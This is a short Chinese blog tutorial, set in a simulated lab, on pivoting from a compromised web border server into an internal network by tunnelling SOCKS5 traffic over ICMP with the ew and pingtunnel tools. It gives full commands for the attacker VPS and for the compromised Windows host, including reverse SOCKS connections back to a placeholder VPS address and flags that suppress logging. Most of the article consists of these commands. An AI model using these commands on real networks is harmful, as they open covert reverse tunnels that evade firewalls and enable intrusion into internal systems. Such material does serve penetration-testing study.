本文主要是介绍【内网】ICMP出网ew+pingtunnel组合建立socks5隧道,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
❤️博客主页: iknow181
🔥系列专栏: 网络安全、 Python、JavaSE、JavaWeb、CCNP
🎉欢迎大家点赞👍收藏⭐评论✍
通过环境搭建,满足以下条件:
攻击机模拟公网vps地址,WEB边界服务器(Windows Server 2008)模拟公司对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网同网段存在一台Windows内网服务器,Web服务器可以访问该机器远程桌面。当我们拿到web边界服务器的shell之后发现只能使用icmp协议访问公网vps(ping),所以只能用ICMP搭建通往内网的隧道,访问内网服务器进行后续攻击操作。
0x01 环境介绍
1、目标系统
Windows Server 2008 R2(WEB边界服务器)、Windows10(内网服务器)
WEB边界服务器使用phpstudy搭建web服务,防火墙配置策略能访问内网服务器。隧道打通之后可以用来访问内网服务器远程桌面测试。
工具:phpstudy
用来开启web服务,web服务直接使用phpstudy默认功能即可(phpstudy探针+phpmyadmin弱口令)。WEB服务器防火墙入站规则仅开启80端口TCP,用来攻击获取shell。
2、ew
GitHub - idlefire/ew: 内网穿透(跨平台)
EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。
3、pingtunnel
GitHub - esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP
pingtunnel 是把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具
注意,在客户端中运行一定要加noprint nolog两个参数,否则会生成大量的日志文件
由于ICMP为网络层协议,应用层防火墙无法识别,且请求包当中的数据字段被加密
0x02 开始配置
1、配置公网 VPS 和 ICMP 隧道
vps-ubuntu 执行
在 VPS 上,设置 ICMP 隧道将请求从 8898 端口转发到 10080 端口:
./ew_for_linux64 -s rcsocks -l 10080 -e 8898
这里 ew_for_linux64
工具配置了一个 SOCKS5 代理,将 8898
端口上的流量转发到 10080
端口。
同时启动 pingtunnel
作为服务端
./pingtunnel -type server
这将启动一个 ICMP 隧道服务器,用于接收来自 WEB 服务器的 ICMP 数据包。
2、配置 WEB 边界服务器(Windows Server 2008 R2)
执行 pingtunnel
客户端
在 WEB 边界服务器上,运行 pingtunnel
客户端来连接到 VPS 的 ICMP 隧道服务器,并将本地端口 9999
转发到 8898
端口:
pingtunnel.exe -type client -l 127.0.0.1:9999 -s <VPS_IP> -t <VPS_IP>:8898 -sock5 -1 -noprint 1 -nolog 1
替换 <VPS_IP>
为你的 VPS 公网 IP 地址
vps 上有回复
执行 ew
工具
使用 ew.exe
在 WEB 服务器上将端口 9999
(由 pingtunnel
转发的数据)作为 SOCKS5 代理:
ew.exe -s rssocks -d 127.0.0.1 -e 9999
ew回显OK,隧道已打通!
4、 连接代理
使用proxifier设置代理
远程桌面测试
远程桌面测试
这篇关于【内网】ICMP出网ew+pingtunnel组合建立socks5隧道的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!